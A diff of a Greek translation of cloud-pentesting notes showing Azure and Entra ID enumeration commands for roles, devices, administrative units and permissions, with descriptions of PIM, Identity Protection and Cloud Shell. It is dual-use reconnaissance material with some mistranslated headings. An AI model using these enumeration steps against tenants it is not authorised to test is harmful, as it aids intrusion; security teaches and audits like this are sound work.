Όταν **συνδέεστε** μέσω **CLI** στο Azure με οποιοδήποτε πρόγραμμα, χρησιμοποιείτε μια **Εφαρμογή Azure** από έναν **tenant** που ανήκει στη **Microsoft**. Αυτές οι Εφαρμογές, όπως αυτές που μπορείτε να δημιουργήσετε στον λογαριασμό σας, **έχουν ένα client id**. **Δεν θα μπορείτε να τις δείτε όλες** στις **λίστες επιτρεπόμενων εφαρμογών** που μπορείτε να δείτε στην κονσόλα, **αλλά είναι επιτρεπόμενες από προεπιλογή**.
|
||||
|
||||
Για παράδειγμα, ένα **powershell script** που **αυθεντικοποιεί** χρησιμοποιεί μια εφαρμογή με client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Ακόμα και αν η εφαρμογή δεν εμφανίζεται στην κονσόλα, ένας sysadmin θα μπορούσε να **μπλοκάρει αυτή την εφαρμογή** ώστε οι χρήστες να μην μπορούν να έχουν πρόσβαση χρησιμοποιώντας εργαλεία που συνδέονται μέσω αυτής της Εφαρμογής.
|
||||
|
||||
@@ -496,7 +496,7 @@ Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
|
||||
|
||||
### Service Principals
|
||||
|
||||
Για περισσότερες πληροφορίες σχετικά με τους service principals του Entra ID, ελέγξτε:
|
||||
Για περισσότερες πληροφορίες σχετικά με τους service principals του Entra ID, δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -717,7 +717,7 @@ Write-Output "Failed to Enumerate the Applications."
|
||||
Όταν δημιουργείται μια Εφαρμογή, δίνονται 2 τύποι δικαιωμάτων:
|
||||
|
||||
- **Δικαιώματα** που δίνονται στο **Service Principal**
|
||||
- **Δικαιώματα** που μπορεί να έχει και να χρησιμοποιεί η **εφαρμογή** **εκ μέρους του χρήστη**.
|
||||
- **Δικαιώματα** που μπορεί να έχει και να χρησιμοποιεί η **εφαρμογή** εκ μέρους του **χρήστη**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
@@ -892,16 +892,9 @@ Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res
|
||||
Get-AzDenyAssignment # Get from current subscription
|
||||
Get-AzDenyAssignment -Scope '/subscriptions/96231a05-34ce-4eb4-aa6a-70759cbb5e83/resourcegroups/testRG/providers/Microsoft.Web/sites/site1'
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Raw" }}
|
||||
|
||||
```bash
|
||||
# Αποκτήστε άδειες πρόσβασης σε έναν πόρο χρησιμοποιώντας απευθείας το ARM
|
||||
# Get permissions over a resource using ARM directly
|
||||
$Token = (Get-AzAccessToken).Token
|
||||
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
|
||||
$RequestParams = @{
|
||||
@@ -913,13 +906,12 @@ Headers = @{
|
||||
}
|
||||
(Invoke-RestMethod @RequestParams).value
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Entra ID Roles
|
||||
### Ρόλοι Entra ID
|
||||
|
||||
For more information about Azure roles check:
|
||||
Για περισσότερες πληροφορίες σχετικά με τους ρόλους Azure, ελέγξτε:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -927,134 +919,125 @@ For more information about Azure roles check:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# Λίστα προτύπων ρόλων Entra ID
|
||||
# List template Entra ID roles
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoleTemplates"
|
||||
|
||||
# Λίστα ενεργών ενσωματωμένων ρόλων Entra ID
|
||||
# List enabled built-in Entra ID roles
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
|
||||
|
||||
# Λίστα όλων των ρόλων Entra ID με τις άδειές τους (συμπεριλαμβανομένων των προσαρμοσμένων ρόλων)
|
||||
# List all Entra ID roles with their permissions (including custom roles)
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions"
|
||||
|
||||
# Λίστα μόνο προσαρμοσμένων ρόλων Entra ID
|
||||
# List only custom Entra ID roles
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
|
||||
|
||||
# Λίστα όλων των ανατεθειμένων ρόλων Entra ID
|
||||
# List all assigned Entra ID roles
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"
|
||||
|
||||
# Λίστα μελών ενός ρόλου Entra ID
|
||||
# List members of a Entra ID roles
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoles/<role-id>/members"
|
||||
|
||||
# Λίστα ρόλων Entra ID που έχουν ανατεθεί σε έναν χρήστη
|
||||
# List Entra ID roles assigned to a user
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/users/<user-id>/memberOf/microsoft.graph.directoryRole" \
|
||||
--query "value[]" \
|
||||
--output json
|
||||
|
||||
# Λίστα ρόλων Entra ID που έχουν ανατεθεί σε μια ομάδα
|
||||
# List Entra ID roles assigned to a group
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \
|
||||
--query "value[]" \
|
||||
--output json
|
||||
|
||||
# Λίστα ρόλων Entra ID που έχουν ανατεθεί σε έναν υπηρεσιακό κύριο
|
||||
# List Entra ID roles assigned to a service principal
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \
|
||||
--query "value[]" \
|
||||
--output json
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Azure AD" }}
|
||||
|
||||
```bash
|
||||
# Λάβετε όλα τα διαθέσιμα πρότυπα ρόλων
|
||||
# Get all available role templates
|
||||
Get-AzureADDirectoryroleTemplate
|
||||
# Λάβετε ενεργούς ρόλους (Ανατεθειμένοι ρόλοι)
|
||||
# Get enabled roles (Assigned roles)
|
||||
Get-AzureADDirectoryRole
|
||||
Get-AzureADDirectoryRole -ObjectId <roleID> #Λάβετε πληροφορίες σχετικά με τον ρόλο
|
||||
# Λάβετε προσαρμοσμένους ρόλους - χρησιμοποιήστε AzureAdPreview
|
||||
Get-AzureADDirectoryRole -ObjectId <roleID> #Get info about the role
|
||||
# Get custom roles - use AzureAdPreview
|
||||
Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName
|
||||
# Χρήστες που έχουν ανατεθεί σε ρόλο (Παγκόσμιος Διαχειριστής)
|
||||
# Users assigned a role (Global Administrator)
|
||||
Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember
|
||||
Get-AzureADDirectoryRole -ObjectId <id> | fl
|
||||
# Ρόλοι της Διοικητικής Μονάδας (ποιος έχει δικαιώματα πάνω στη διοικητική μονάδα και τα μέλη της)
|
||||
# Roles of the Administrative Unit (who has permissions over the administrative unit and its members)
|
||||
Get-AzureADMSScopedRoleMembership -Id <id> | fl *
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Devices
|
||||
### Συσκευές
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# Αν ξέρεις πώς να το κάνεις, στείλε ένα PR!
|
||||
# If you know how to do this send a PR!
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="MS Graph" }}
|
||||
|
||||
```bash
|
||||
# Καταμέτρηση συσκευών χρησιμοποιώντας το Microsoft Graph PowerShell
|
||||
# Enumerate devices using Microsoft Graph PowerShell
|
||||
Get-MgDevice -All
|
||||
|
||||
# Λάβετε λεπτομέρειες συσκευής
|
||||
# Get device details
|
||||
Get-MgDevice -DeviceId <DeviceId> | Format-List *
|
||||
|
||||
# Λάβετε συσκευές που διαχειρίζονται μέσω του Intune
|
||||
# Get devices managed using Intune
|
||||
Get-MgDevice -Filter "isCompliant eq true" -All
|
||||
|
||||
# Λάβετε συσκευές που ανήκουν σε έναν χρήστη
|
||||
# Get devices owned by a user
|
||||
Get-MgUserOwnedDevice -UserId test@corp.onmicrosoft.com
|
||||
|
||||
# Λίστα διαθέσιμων εντολών στο Microsoft Graph PowerShell
|
||||
# List available commands in Microsoft Graph PowerShell
|
||||
Get-Command -Module Microsoft.Graph.Identity.DirectoryManagement
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Azure AD" }}
|
||||
|
||||
```bash
|
||||
# Καταμέτρηση Συσκευών
|
||||
# Enumerate Devices
|
||||
Get-AzureADDevice -All $true | fl *
|
||||
# Λίστα με όλες τις ενεργές συσκευές (και όχι τις παλιές συσκευές)
|
||||
# List all the active devices (and not the stale devices)
|
||||
Get-AzureADDevice -All $true | ?{$_.ApproximateLastLogonTimeStamp -ne $null}
|
||||
# Λάβετε τους ιδιοκτήτες όλων των συσκευών
|
||||
# Get owners of all devices
|
||||
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner
|
||||
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredOwner -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
|
||||
# Καταχωρημένοι χρήστες όλων των συσκευών
|
||||
# Registred users of all the devices
|
||||
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser
|
||||
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredUser -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
|
||||
# Λάβετε συσκευές που διαχειρίζονται μέσω Intune
|
||||
# Get dives managed using Intune
|
||||
Get-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"}
|
||||
# Λάβετε συσκευές που ανήκουν σε έναν χρήστη
|
||||
# Get devices owned by a user
|
||||
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
|
||||
# Λάβετε Διοικητικές Μονάδες μιας συσκευής
|
||||
# Get Administrative Units of a device
|
||||
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} }
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> If a device (VM) is **AzureAD joined**, users from AzureAD are going to be **able to login**.\
|
||||
> Moreover, if the logged user is **Owner** of the device, he is going to be **local admin**.
|
||||
> Αν μια συσκευή (VM) είναι **συνδεδεμένη με AzureAD**, οι χρήστες από το AzureAD θα είναι **σε θέση να συνδεθούν**.\
|
||||
> Επιπλέον, αν ο συνδεδεμένος χρήστης είναι **Ιδιοκτήτης** της συσκευής, θα είναι **τοπικός διαχειριστής**.
|
||||
|
||||
### Administrative Units
|
||||
### Διοικητικές Μονάδες
|
||||
|
||||
For more information about administrative units check:
|
||||
Για περισσότερες πληροφορίες σχετικά με τις διοικητικές μονάδες, ελέγξτε:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -1062,104 +1045,100 @@ For more information about administrative units check:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# Λίστα όλων των διοικητικών μονάδων
|
||||
# List all administrative units
|
||||
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits"
|
||||
# Λάβετε πληροφορίες AU
|
||||
# Get AU info
|
||||
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53"
|
||||
# Λάβετε μέλη
|
||||
# Get members
|
||||
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/members"
|
||||
# Λάβετε κύριους με ρόλους πάνω από το AU
|
||||
# Get principals with roles over the AU
|
||||
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers"
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="AzureAD" }}
|
||||
|
||||
```bash
|
||||
# Λάβετε Διοικητικές Μονάδες
|
||||
# Get Administrative Units
|
||||
Get-AzureADMSAdministrativeUnit
|
||||
Get-AzureADMSAdministrativeUnit -Id <id>
|
||||
# Λάβετε το ID της διοικητικής μονάδας με βάση τη συμβολοσειρά
|
||||
# Get ID of admin unit by string
|
||||
$adminUnitObj = Get-AzureADMSAdministrativeUnit -Filter "displayname eq 'Test administrative unit 2'"
|
||||
# Λίστα των χρηστών, ομάδων και συσκευών που επηρεάζονται από τη διοικητική μονάδα
|
||||
# List the users, groups, and devices affected by the administrative unit
|
||||
Get-AzureADMSAdministrativeUnitMember -Id <id>
|
||||
# Λάβετε τους ρόλους που έχουν οι χρήστες πάνω στα μέλη της AU
|
||||
Get-AzureADMSScopedRoleMembership -Id <id> | fl #Λάβετε το ID ρόλου και τα μέλη του ρόλου
|
||||
# Get the roles users have over the members of the AU
|
||||
Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Entra ID Privilege Escalation
|
||||
## Εξαπάτηση Προνομίων Entra ID
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/
|
||||
{{#endref}}
|
||||
|
||||
## Azure Privilege Escalation
|
||||
## Εξαπάτηση Προνομίων Azure
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-authorization-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Defensive Mechanisms
|
||||
## Μηχανισμοί Άμυνας
|
||||
|
||||
### Privileged Identity Management (PIM)
|
||||
### Διαχείριση Προνομιακής Ταυτότητας (PIM)
|
||||
|
||||
Privileged Identity Management (PIM) in Azure helps to **prevent excessive privileges** to being assigned to users unnecessarily.
|
||||
Η Διαχείριση Προνομιακής Ταυτότητας (PIM) στο Azure βοηθά στην **πρόληψη της υπερβολικής εκχώρησης προνομίων** σε χρήστες χωρίς λόγο.
|
||||
|
||||
One of the main features provided by PIM is that It allows to not assign roles to principals that are constantly active, but make them **eligible for a period of time (e.g. 6months)**. Then, whenever the user wants to activate that role, he needs to ask for it indicating the time he needs the privilege (e.g. 3 hours). Then an **admin needs to approve** the request.\
|
||||
Note that the user will also be able to ask to **extend** the time.
|
||||
Μία από τις κύριες δυνατότητες που παρέχει το PIM είναι ότι επιτρέπει να μην εκχωρούνται ρόλοι σε κύριους που είναι συνεχώς ενεργοί, αλλά να γίνονται **επιλέξιμοι για μια περίοδο (π.χ. 6 μήνες)**. Στη συνέχεια, όποτε ο χρήστης θέλει να ενεργοποιήσει αυτόν τον ρόλο, πρέπει να ζητήσει αυτόν, υποδεικνύοντας τον χρόνο που χρειάζεται το προνόμιο (π.χ. 3 ώρες). Στη συνέχεια, ένας **διαχειριστής πρέπει να εγκρίνει** το αίτημα.\
|
||||
Σημειώστε ότι ο χρήστης θα μπορεί επίσης να ζητήσει να **επέκταση** του χρόνου.
|
||||
|
||||
Moreover, **PIM send emails** whenever a privileged role is being assigned to someone.
|
||||
Επιπλέον, **το PIM στέλνει email** όποτε εκχωρείται ένας προνομιακός ρόλος σε κάποιον.
|
||||
|
||||
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
When PIM is enabled it's possible to configure each role with certain requirements like:
|
||||
Όταν το PIM είναι ενεργοποιημένο, είναι δυνατόν να ρυθμιστεί κάθε ρόλος με ορισμένες απαιτήσεις όπως:
|
||||
|
||||
- Maximum duration (hours) of activation
|
||||
- Require MFA on activation
|
||||
- Require Conditional Access acuthenticaiton context
|
||||
- Require justification on activation
|
||||
- Require ticket information on activation
|
||||
- Require approval to activate
|
||||
- Max time to expire the elegible assignments
|
||||
- A lot more configuration on when and who to send notifications when certain actions happen with that role
|
||||
- Μέγιστη διάρκεια (ώρες) ενεργοποίησης
|
||||
- Απαιτεί MFA κατά την ενεργοποίηση
|
||||
- Απαιτεί πλαίσιο αυθεντικοποίησης Conditional Access
|
||||
- Απαιτεί δικαιολόγηση κατά την ενεργοποίηση
|
||||
- Απαιτεί πληροφορίες εισιτηρίου κατά την ενεργοποίηση
|
||||
- Απαιτεί έγκριση για ενεργοποίηση
|
||||
- Μέγιστος χρόνος λήξης των επιλέξιμων εκχωρήσεων
|
||||
- Πολλές άλλες ρυθμίσεις σχετικά με το πότε και ποιος θα στέλνει ειδοποιήσεις όταν συμβαίνουν ορισμένες ενέργειες με αυτόν τον ρόλο
|
||||
|
||||
### Conditional Access Policies
|
||||
### Πολιτικές Conditional Access
|
||||
|
||||
Check:
|
||||
Ελέγξτε:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### Entra Identity Protection
|
||||
### Προστασία Ταυτότητας Entra
|
||||
|
||||
Entra Identity Protection is a security service that allows to **detect when a user or a sign-in is too risky** to be accepted, allowing to **block** the user or the sig-in attempt.
|
||||
Η Προστασία Ταυτότητας Entra είναι μια υπηρεσία ασφαλείας που επιτρέπει να **ανιχνεύει πότε ένας χρήστης ή μια είσοδος είναι πολύ ριψοκίνδυνη** για να γίνει αποδεκτή, επιτρέποντας να **μπλοκάρει** τον χρήστη ή την προσπάθεια εισόδου.
|
||||
|
||||
It allows the admin to configure it to **block** attempts when the risk is "Low and above", "Medium and above" or "High". Although, by default it's completely **disabled**:
|
||||
Επιτρέπει στον διαχειριστή να το ρυθμίσει ώστε να **μπλοκάρει** τις προσπάθειες όταν ο κίνδυνος είναι "Χαμηλός και άνω", "Μέτριος και άνω" ή "Υψηλός". Αν και, από προεπιλογή είναι εντελώς **απενεργοποιημένο**:
|
||||
|
||||
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Nowadays it's recommended to add these restrictions via Conditional Access policies where it's possible to configure the same options.
|
||||
> Σήμερα συνιστάται να προστίθενται αυτούς τους περιορισμούς μέσω πολιτικών Conditional Access όπου είναι δυνατή η ρύθμιση των ίδιων επιλογών.
|
||||
|
||||
### Entra Password Protection
|
||||
### Προστασία Κωδικών Entra
|
||||
|
||||
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) is a security feature that **helps prevent the abuse of weak passwords in by locking out accounts when several unsuccessful login attempts happen**.\
|
||||
It also allows to **ban a custom password list** that you need to provide.
|
||||
Η Προστασία Κωδικών Entra ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) είναι μια λειτουργία ασφαλείας που **βοηθά στην πρόληψη της κακής χρήσης αδύναμων κωδικών κλειδιών αποκλείοντας λογαριασμούς όταν συμβαίνουν πολλές αποτυχημένες προσπάθειες σύνδεσης**.\
|
||||
Επιτρέπει επίσης να **απαγορεύσετε μια προσαρμοσμένη λίστα κωδικών** που πρέπει να παρέχετε.
|
||||
|
||||
It can be **applied both** at the cloud level and on-premises Active Directory.
|
||||
Μπορεί να **εφαρμοστεί τόσο** σε επίπεδο cloud όσο και σε τοπικό Active Directory.
|
||||
|
||||
The default mode is **Audit**:
|
||||
Η προεπιλεγμένη λειτουργία είναι **Audit**:
|
||||
|
||||
<figure><img src="../../../images/image (355).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units)
|
||||
|
||||
|
||||
@@ -4,28 +4,28 @@
|
||||
|
||||
## Azure Cloud Shell
|
||||
|
||||
**Azure Cloud Shell** είναι ένα διαδραστικό, αυθεντικοποιημένο, προσβάσιμο μέσω προγράμματος περιήγησης τερματικό σχεδιασμένο για τη διαχείριση πόρων Azure, προσφέροντας την ευελιξία να εργάζεστε είτε με Bash είτε με PowerShell. Λειτουργεί σε έναν προσωρινό, ανά συνεδρία διακομιστή που λήγει μετά από 20 λεπτά αδράνειας, ενώ διατηρεί αρχεία στην τοποθεσία $HOME χρησιμοποιώντας μια κοινή χρήση 5-GB. Το Cloud Shell μπορεί να προσπελαστεί μέσω πολλών σημείων, συμπεριλαμβανομένων του Azure portal, shell.azure.com, Azure CLI και της τεκμηρίωσης PowerShell, της κινητής εφαρμογής Azure και της επέκτασης Azure Account του Visual Studio Code.
|
||||
**Azure Cloud Shell** είναι ένα διαδραστικό, αυθεντικοποιημένο, προσβάσιμο μέσω προγράμματος περιήγησης τερματικό σχεδιασμένο για τη διαχείριση πόρων Azure, προσφέροντας την ευελιξία να εργάζεστε είτε με Bash είτε με PowerShell. Λειτουργεί σε έναν προσωρινό, ανά συνεδρία, διακομιστή που λήγει μετά από 20 λεπτά αδράνειας, ενώ διατηρεί αρχεία στην τοποθεσία $HOME χρησιμοποιώντας μια κοινή χρήση αρχείων 5 GB. Το Cloud Shell μπορεί να προσπελαστεί μέσω πολλαπλών σημείων, συμπεριλαμβανομένων του Azure portal, shell.azure.com, Azure CLI και της τεκμηρίωσης PowerShell, της εφαρμογής Azure για κινητά και της επέκτασης Azure Account του Visual Studio Code.
|
||||
|
||||
Δεν υπάρχουν δικαιώματα που να έχουν ανατεθεί σε αυτή την υπηρεσία, επομένως δεν υπάρχουν τεχνικές κλιμάκωσης προνομίων. Επίσης, δεν υπάρχει κανενός είδους αρίθμηση.
|
||||
|
||||
### Key Features
|
||||
|
||||
**Environment**: Azure Cloud Shell παρέχει ένα ασφαλές περιβάλλον εκτελώντας σε Azure Linux, τη δική διανομή Linux της Microsoft σχεδιασμένη για υποδομές cloud. Όλα τα πακέτα που περιλαμβάνονται στο αποθετήριο Azure Linux είναι εσωτερικά συμπιεσμένα από τη Microsoft για να προστατεύονται από επιθέσεις εφοδιαστικής αλυσίδας.
|
||||
**Environment**: Το Azure Cloud Shell παρέχει ένα ασφαλές περιβάλλον εκτελώντας σε Azure Linux, τη δική διανομή Linux της Microsoft σχεδιασμένη για υποδομές cloud. Όλα τα πακέτα που περιλαμβάνονται στο αποθετήριο Azure Linux είναι εσωτερικά συμπιεσμένα από τη Microsoft για να προστατεύονται από επιθέσεις εφοδιαστικής αλυσίδας.
|
||||
**Preinstalled Tools**: Το Cloud Shell περιλαμβάνει ένα ολοκληρωμένο σύνολο προεγκατεστημένων εργαλείων όπως Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git και επεξεργαστές κειμένου όπως vim, nano και emacs. Αυτά τα εργαλεία είναι έτοιμα προς χρήση. Για να καταγράψετε τα εγκατεστημένα πακέτα και τα modules μπορείτε να χρησιμοποιήσετε "Get-Module -ListAvailable", "tdnf list" και "pip3 list".
|
||||
**$HOME persistence**: Όταν ξεκινάτε το Azure Cloud Shell για πρώτη φορά, μπορείτε να το χρησιμοποιήσετε με ή χωρίς συνδεδεμένο λογαριασμό αποθήκευσης. Η επιλογή να μην συνδέσετε αποθήκευση δημιουργεί μια επαφή συνεδρίας όπου τα αρχεία διαγράφονται όταν τελειώνει η συνεδρία. Για να διατηρήσετε αρχεία σε διάφορες συνεδρίες, συνδέστε έναν λογαριασμό αποθήκευσης, ο οποίος συνδέεται αυτόματα ως **$HOME\clouddrive**, με τον κατάλογο **$HOME** σας να αποθηκεύεται ως αρχείο **.img** στο Azure File Share. Ωστόσο, τα αρχεία εκτός του $HOME και οι καταστάσεις μηχανής δεν διατηρούνται. Για ασφαλή αποθήκευση μυστικών όπως τα κλειδιά SSH, χρησιμοποιήστε το Azure Key Vault.
|
||||
**$HOME persistence**: Όταν ξεκινάτε το Azure Cloud Shell για πρώτη φορά, μπορείτε να το χρησιμοποιήσετε με ή χωρίς συνδεδεμένο λογαριασμό αποθήκευσης. Η επιλογή να μην συνδέσετε αποθήκευση δημιουργεί μια επαφή όπου τα αρχεία διαγράφονται όταν τελειώνει η συνεδρία. Για να διατηρήσετε αρχεία σε διάφορες συνεδρίες, συνδέστε έναν λογαριασμό αποθήκευσης, ο οποίος συνδέεται αυτόματα ως **$HOME\clouddrive**, με τον κατάλογο **$HOME** σας να αποθηκεύεται ως αρχείο **.img** στο Azure File Share. Ωστόσο, τα αρχεία εκτός του $HOME και οι καταστάσεις μηχανής δεν διατηρούνται. Για ασφαλή αποθήκευση μυστικών όπως τα κλειδιά SSH, χρησιμοποιήστε το Azure Key Vault.
|
||||
**Azure drive (Azure:)**: Το PowerShell στο Azure Cloud Shell περιλαμβάνει τον Azure drive (Azure:), ο οποίος επιτρέπει εύκολη πλοήγηση στους πόρους Azure όπως Compute, Network και Storage χρησιμοποιώντας εντολές παρόμοιες με το σύστημα αρχείων. Μεταβείτε στον Azure drive με cd Azure: και επιστρέψτε στον κατάλογο αρχικής σας με cd ~. Μπορείτε ακόμα να χρησιμοποιήσετε cmdlets Azure PowerShell για να διαχειριστείτε πόρους από οποιονδήποτε δίσκο.
|
||||
**Custom Tool Installation**: Οι χρήστες που διαμορφώνουν το Cloud Shell με έναν λογαριασμό αποθήκευσης μπορούν να εγκαταστήσουν επιπλέον εργαλεία που δεν απαιτούν δικαιώματα root. Αυτή η δυνατότητα επιτρέπει περαιτέρω προσαρμογή του περιβάλλοντος Cloud Shell, επιτρέποντας στους χρήστες να προσαρμόσουν τη ρύθμισή τους στις συγκεκριμένες ανάγκες τους.
|
||||
|
||||
## References
|
||||
|
||||
* [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
|
||||
* [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
|
||||
* [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
|
||||
- [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
|
||||
- [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
|
||||
|
||||
## Persistence
|
||||
|
||||
{% content-ref url="../az-privilege-escalation/az-cloud-shell-persistence.md" %}
|
||||
[az-cloud-shell-persistence.md](../az-privilege-escalation/az-cloud-shell-persistence.md)
|
||||
{% endcontent-ref %}
|
||||
{{#ref}}
|
||||
../az-persistence/az-cloud-shell-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,32 +4,27 @@
|
||||
|
||||
## Azure CosmosDB
|
||||
|
||||
**Azure Cosmos DB** είναι μια πλήρως **διαχειριζόμενη NoSQL, σχεσιακή και διανυσματική βάση δεδομένων** που προσφέρει χρόνους απόκρισης σε χιλιοστά του δευτερολέπτου, αυτόματη κλιμάκωση και διαθεσιμότητα υποστηριζόμενη από SLA με ασφάλεια επιπέδου επιχείρησης. Διευκολύνει την ταχύτερη ανάπτυξη εφαρμογών μέσω έτοιμης διανομής δεδομένων πολλαπλών περιοχών, ανοιχτών APIs, SDKs για δημοφιλείς γλώσσες και χαρακτηριστικά βάσεων δεδομένων AI όπως η ενσωματωμένη υποστήριξη διανυσμάτων και η απρόσκοπτη ενσωμάτωσή τους με Azure AI.
|
||||
**Azure Cosmos DB** είναι μια πλήρως **διαχειριζόμενη NoSQL, σχεσιακή και διανυσματική βάση δεδομένων** που προσφέρει χρόνους απόκρισης σε χιλιοστά του δευτερολέπτου, αυτόματη κλιμάκωση και διαθεσιμότητα υποστηριζόμενη από SLA με ασφάλεια επιπέδου επιχείρησης. Διευκολύνει την ταχύτερη ανάπτυξη εφαρμογών μέσω έτοιμης διανομής δεδομένων πολλαπλών περιοχών, ανοιχτών APIs, SDKs για δημοφιλείς γλώσσες και δυνατότητες βάσης δεδομένων AI όπως η ενσωματωμένη υποστήριξη διανυσμάτων και η απρόσκοπτη ενσωμάτωσή της με Azure AI.
|
||||
|
||||
Η Azure Cosmos DB παρέχει πολλαπλά APIs βάσεων δεδομένων για την μοντελοποίηση πραγματικών δεδομένων χρησιμοποιώντας μοντέλα δεδομένων εγγράφων, σχεσιακά, κλειδί-τιμή, γραφήματα και οικογένειες στηλών, με αυτά τα APIs να είναι NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin και Table.
|
||||
Η Azure Cosmos DB παρέχει πολλαπλά APIs βάσεων δεδομένων για την μοντελοποίηση πραγματικών δεδομένων χρησιμοποιώντας μοντέλα δεδομένων εγγράφων, σχεσιακά, κλειδί-τιμή, γράφους και οικογένειες στηλών, με αυτά τα APIs να είναι NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin και Table.
|
||||
|
||||
